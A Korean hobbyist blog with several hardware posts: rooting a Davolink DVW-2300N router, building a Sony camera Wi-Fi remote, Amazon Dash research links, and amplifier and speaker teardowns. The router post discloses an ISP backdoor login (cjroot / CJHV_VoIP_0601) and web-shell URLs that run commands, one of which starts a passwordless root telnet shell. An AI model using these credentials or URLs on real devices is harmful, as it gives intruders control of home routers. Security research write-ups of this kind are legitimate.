All posts by RSR

공유기 루트쉘 획득하기

인터넷 설치하면서 생긴 공유기(DVW-2300N)를 사용하면서 문득 루트쉘을 열어보고 싶어졌다.

보통 같으면 뚜껑따서 UART 연결하거나 롬떠서 작업을 했겠지만 잠깐 살펴보면서 자동업데이트 기능이 존재하는것을 확인하였다.
브릿지로 연결해봤더니 “http://180.182.38.50:8080/tms/servlet/getApProvInfo?macAddr=18c50122XXXX&downType=1&ver=F1.0&cfgac=6767&cfver=Davolink_DVW-2300N_1.36.50CJ_CFG&fwac=7539&fwver=Davolink_DVW-2300N_1.40.50CJ&model=DVW-2300N&vendor=Davolink&cferr=0&fwerr=0”
요청을 확인할 수 있었고 456bytes 의 바이너리 파일을 획득하였다.
대충 봤을때 암호화 or 인코딩이 되어 식별이 불가능했으나 downType의 인자를 1이 아닌 0으로 주었더니 아래의 텍스트를 확보할 수 있었다.

macaddr=18c50122XXXX
apms_ip=180.182.38.51
prov_ip=180.182.38.50
cfgac=6767
config_url=http://180.182.38.50:8080/config_ap/6767/Davolink_DVW-2300N_1.36.50CJ_CFG.txt
config_ver=Davolink_DVW-2300N_1.36.50CJ_CFG
fwac=7539
firmware_url=http://180.182.38.50:8080/firmware_ap/7539/Davolink_DVW-2300N_1.40.50CJ.img
firmware_ver=Davolink_DVW-2300N_1.40.50CJ_20180227
prov_interval=1
prov_stime=00:00:00
prov_etime=23:59:59
retry_count=3
retry_interval=10,20,30

설정파일과 펌웨어 파일의 주소를 확보할 수 있었고 펌웨어의 경우 realtek 표준펌웨어로 보여졌다.
설정파일에는

Manufacture=Davolink

root_id=cjroot
root_pw=CJHV_VoIP_0601

이런 내용이 담겨있었고 Web접근에 사용가능하였다. (유저비밀번호 백날 바꿔봐야 이런 백도어있으면 무의미하다)
cjroot로 접근하였더니 네트워크/인터넷설정 탭에서 Telnet 활성화메뉴가 나타났으며 활성화를 시켜도 텔넷접속은 되지 않았다.


펌웨어를 분석해보니 web shell이 존재하여 이를 이용하여 몇가지 작업을 해볼 수 있었다. (*아래 URL접근은 cjadmin으로도 가능하였다)

http://192.168.200.254/goform/sysconsole?cmd=ls%20-al%20/
http://192.168.200.254/goform/sysconsole?cmd=telnetd -p 22 -l /bin/sh &
http://192.168.200.254/goform/formMfgTest?diag_result

기존의 데몬을 죽이고 포트와 쉘을 다시 지정하니 텔넷접근이 가능하였다.

아이디와 패스워드를 확보하기위해 열심히 펌웨어를 분석했으나 간단하게도 답은 cjroot에 CJHV_VoIP_0601 였다.
(인터넷이 연결되지 않으면 “**********” 을 아이디와 패스워드로 사용하는것으로 보인다)
쉘 확보하고 간단한 정보를 띄워 보았다.

# cat /proc/cpuinfo 
system type             : RTL8196C
processor               : 0
cpu model               : 52481
BogoMIPS                : 389.12
tlb_entries             : 32
mips16 implemented      : yes
unaligned access        : 226
# cat /proc/mtd 
dev:    size   erasesize  name
mtd0: 004dc000 00001000 "boot+cfg+linux"
mtd1: 002d4000 00001000 "root fs"
mtd2: 00020000 00001000 "dlog"
mtd3: 00010000 00001000 "dvnv1"
mtd4: 00020000 00001000 "dvnv2"
# cat /proc/meminfo 
MemTotal:          27144 kB
MemFree:           11440 kB
Buffers:            1256 kB
Cached:             4248 kB
SwapCached:            0 kB
Active:             4408 kB
Inactive:           3124 kB
Active(anon):       2028 kB
Inactive(anon):        0 kB
Active(file):       2380 kB
Inactive(file):     3124 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:          2040 kB
Mapped:             1508 kB
Slab:               7352 kB
SReclaimable:        332 kB
SUnreclaim:         7020 kB
PageTables:          364 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       13572 kB
Committed_AS:       5108 kB
VmallocTotal:    1048404 kB
VmallocUsed:         284 kB
VmallocChunk:    1044808 kB
#

뭔가 하기에는 리소스가 너무 열악하다…
심지어 chmod도 없어서 cp신공으로 바이너리 몇개 실행시켜보고 끝냈다.

잠깐 분석? 하면서 miniupnpd가 외부포트로 개방되어 있는것을 확인하였다.
TCP 포트는 부팅시에 랜덤하게 결정되는것으로 보이며 UDP는 1900고정개방인듯 하다.

정상적인 사용을 위해 upnp와 자동업데이트는 사용하지 않는것으로 설정하였다.

 

근데 이걸 내가 왜 분석한거지…?

Sony Wifi Remote with ESP8266

Sony의 RX100M3를 쓰면서 리모트 기능이 필요해서 알아보던 중 이 제품은 다른 리모컨 기능은 없고 WiFi를 이용해서 스마트폰 APP을 통해 현재 화면을 보면서 셔터를 누를 수 있는 기능이 존재한다.
해당기능을 사용하기위해서는 먼저 RX100에서 스마트 리모컨 앱을 실행시키고 스마트폰에서 PlayMemories 앱을 이용하여 연결하여야 한다.
이때 RX100은 WiFi Direct Mode로 작동하며 SSID와 Password를 화면에 제공한다.
스마트폰에서는 Password를 이용하여 접속하는 방식.

RX100M3를 분석하기 위해 Sony에서 펌웨어를 받았고 Sony camera firmware를 풀어주는 도구를 찾았다.
https://github.com/ma1co/fwtool.py
3세대 까지 지원한다는데 여기서 3세대가 의미하는바는 모르겠다.
확보한 펌웨어 DSC-RX100M3_FirmwareUpdate_Ver2.00를 풀어보니
RX100M3의 운영체제로써 안드로이드가 운영되는것을 확인하였다.
“스마트 리모컨”의 실체인 SmartRemote.apk를 확보하고 분석전에 하드웨어로 어떻게 구현할까 고민하다가 ESP8266을 사용해서 만들면 되겠다 …! 하고 자료수집을 위해 검색중

Sony Camera Remote Control mit ESP8266


이걸 찾았다 ..!

저자인 glaskugelsehen은 https://play.google.com/store/apps/details?id=com.thibaudperso.sonycamera 앱에서 사진 찍을때 발생하는 패킷을 캡쳐해서 그것을 분석하였다.
해당앱은 깃헙에 소스가 공개되어있다 https://github.com/ThibaudM/timelapse-sony
그리고 소니는 해당 API를 제공한다. https://developer.sony.com/develop/cameras/
나는 왜… 리버싱을 먼저 하려고 하였나.

뭐 여튼 어떻게됫든 원하는것을 매우 간단하게 만들 수 있게 되었다.
알리에서 esp모듈 주문하고 기다리자…

Amazon Dash

제품이 없으니 일단 자료조사만 먼저 ^^;

1세대 JK76PL
https://wikidevi.com/wiki/Amazon_Dash_Button_1_Gen_(JK76PL)
https://learn.adafruit.com/dash-hacking-bare-metal-stm32-programming/overview
https://github.com/dekuNukem/Amazon_Dash_Button
http://key-basher.blogspot.kr/2016/09/amazon-dash-button-version-2.html
https://github.com/gtalusan/redash
https://mpetroff.net/2015/05/amazon-dash-button-teardown
http://www.valcolabs.com/2016/05/24/amazon-iot-button-hacking-part-1

2세대 JK29PL
https://mpetroff.net/2016/07/new-amazon-dash-button-teardown-jk29lp
https://github.com/EliasKotlyar/FreeDash

TPA3116D2 앰프 후기

마샬 스탠모어 오리지날 보드의 사망으로 급하게 100W급 2.1채널 앰프를 알아보았다.
100W급의 2.1채널은 선택폭이 매우 좁았으며 검색을통해 TPA3116D2제품을 선택하였다.
알리를 통해 구매하는것이 저렴하나 1달여기간의 기다림 대신 중고나라에서 2만원에 구매하였다.

구매하고 확인하니
https://www.aliexpress.com/item/TPA3116-High-Power-Digital-2-1-Amplifier-board-Stereo-Input-Stereo-and-Super-bass-Out/32759094585.html
제품과 동일하였다.

스피커와 전원을 인가하니 어마어마한 노이즈가…. 들려온다.
팝노이즈의 경우 보드에 지연회로가 있는것으로 보인다. 하지만 라인인을 연결하지 않았음에도 엄청난량의 화이트 노이즈가 들려오는것을 확인하고 대책을 찾기 시작하였다.

TPA3116D2제품을 사용한 제품으로 브리즈(Breeze) 앰프가 인기가 있는것으로 보이는데 구글링하니 오리지널 보드에서 노이즈가 상당하다는 사용기가 많았다…
다행히 몇가지 부품 튜닝을 통해 노이즈를 줄였다는 글이 있어 동일한 제품은 아니지만 시도해 보기로 하였다.

게인조절에 대한 글이 많아서 먼저 게인을 조절하여 보기로 하였다.
제품에 적용된 게인은 TPA3116D2의 최대인 36dB가 적용되어있었다.
사진상의 좌측에 위치한 TPA3116D2가 우퍼채널을 위한 Slave, 우측이 L, R출력을 위한 Master로 보여진다
GAIN 핀에 연결된 저항은 각각 Master에 47k, 75k Slave에 100k, 16k가 붙어있었다.
볼륨이 조금 작다는 이야기가 있긴하나 노이즈 최대절감을 위해 20dB로 목표게인을 설정하였다.

Master를 위해 5.6k Slave를 위해 51k저항이 필요하다.
보유하고있는 칩저항은 없고 다행히 1/8W저항중 5.1k와 51k가 있어 이를 사용하기로 했다. (Master에 0.5k가 작긴하지만…)

튜닝 후 정상작동하는것을 확인하였고 노이즈 또한 현저히 감소한것을 확인하였다. (없어지진 않았으나 귀 기울이지 않는다면 들리진 않을것 같다)
볼륨 또한 작아지긴 했는데 50%만 사용해도 충분하였다.

출력부분 인덕터에서 발열이 조금 있으나 가격대 성능이 나쁘지 않은것으로 생각된다.

Marshall Stanmore teardown

심심해서 열어본 스탠모어를 분석해보았다.
기본스펙은 다음과 같다.
1개의 50W 우퍼, 2개의 15W트위터 구성이다. 총 80W이다.

분해는 뒷면의 나사 9개를 제거하면 간단하게 가능하다.
뒷판을 분리하면 전원과 앰프가 같이 구성이된 PCB가 뒷판에 붙어있다.

문제는 여기서 부터 시작이다. 아무것도 안했는데 전원이 켜지질 않는다. + 어디선가 열기가 느껴지며 뭔가 굽히는 냄새가 나서 급하게 전원을 제거하였지만 이미 많이 늦은것같다.
이왕 분해하고 고장낸거 뼛속까지 파헤치기로한다.(는 수리를 위해 구글링해봤으나 자료가 거의 없다..)

정상적인 상태의 PCB의 사진을 찍지 못했다. 다행히 Badcaps 포럼에
https://www.badcaps.net/forum/showthread.php?t=66580 가 올라와있다.
두장의 사진 무단불펌(sorry for using your pictures without your permission, if you mind please let me know to delete these)

먼저 정면샷

우하단에 SMPS가 보인다. 좌하단에는 BT 모듈이 핀헤더로 땜질 되어있고 그위에는 뭔가 쉴딩이 되어있다. 가운데는 적당히 앰프를 구성하는 캐패시터와 인덕터로 보여진다.
그리고 후면

별볼일 없다 넘어가도록 한다.

BT모듈을 분리해 보았다.

각각의 핀용도가 프린팅 되어있다. 잘 보이진 않지만 CSR8645를 사용하고있다.  특이점은 APT-X를 지원한다.
모듈 아래쪽 칩 JRC4560으로 검색해보니 NJM4560이 나타난다 AMP인것으로 보인다.

쉴드를 들어뜯어내면 다음과 같은 자태가 나타난다.(검정, 흰 와이어 두개는 무시하도록한다…)

대충 그려보면…

각각의 역할은
HCF4052는 채널 선택역할
PCM1808DIR9001을 이용하여 ADC수행
TAS5508C에서 이퀄라이저 적용 및 PWM변환
TAS5342A는 PWM신호 받아 아날로그 신호 출력 및 AMP 역할 (Digital Audio PWM Processor)
모든 컨트롤은 12LE5A60S2에서 I2C통신으로 진행 (8051기반 MCU)한다.

입력~PCM1808구간까지는 아날로그
PCM1808~TAS5508구간은 I2S
TAS5508~TAS5342구간은 PWM신호로
최종적으로 TAS5342에서 아날로그 신호로 전환되며 증폭되는것으로 확인된다.

전원은 3.3v, 5v, 15v, 30v가 사용되는것으로 보여지며

여기 댓글을 보면 3.3v를 만들어주는 MC34063A가 잘 죽는것으로 보인다.

본인의 경우 전원을 인가하면 MCU에서 고열이 발생하는것으로 확인되며 MCU의 VCC와 VSS 저항이 매우 적은것을 보았을때 MCU사망으로 추정된다. (전원부 고장이길 바라며 소자 하나씩 제거해가면서 전원부는 멀쩡한것을 확인하였다;;)
덩달아 MCU가 컨트롤하는 칩들(DIR9001, TAS5508)에 리셋이 계속 걸려있는것을 확인하고 패턴을 끊었다.
최종적으로 I2S 신호가 TAS5508까지 들어가는것을 확인하였으나 TAS5508로부터 PWM신호가 나오지 않아 데이터 시트를 보던 중 Master Volume이 Reset시에 Mute로 확인하였다.

I2C통신을 통해 TAS5508를 제어가 가능하여 아두이노 나노를 이용하여 간단하게 Master Volume을 설정할 수 있도록 만들었으나 TAS5508가 이를 받아들이지 않는것으로 보인다. 풀업을 설정하는 등 여러가지를 시도해보았으나 잘되지 않아 다른 앰프를 구성하기로 하였다.

SMPS를 재활용하려고 30v를 사용하는 적당한 2.1채널 80~100w급 앰프를 찾아보았으나 적합한 제품은 발견하지 못하였다.
그나마 가격대비 맘에느는 TPA3116D2 앰프를 영입하고 적당한 SMPS를 구매하였다.

는 배송 진행중 …

결론 : 멀쩡한건 뜯지말자.
ps. 멀쩡한 상태로 분석을 한것이 아니라 정확하지 않을 수 있다.
UART 핀헤더가 나와있는데 어떤 내용이 출력되는지 궁금한데 확인할 수가 없네…ㅠ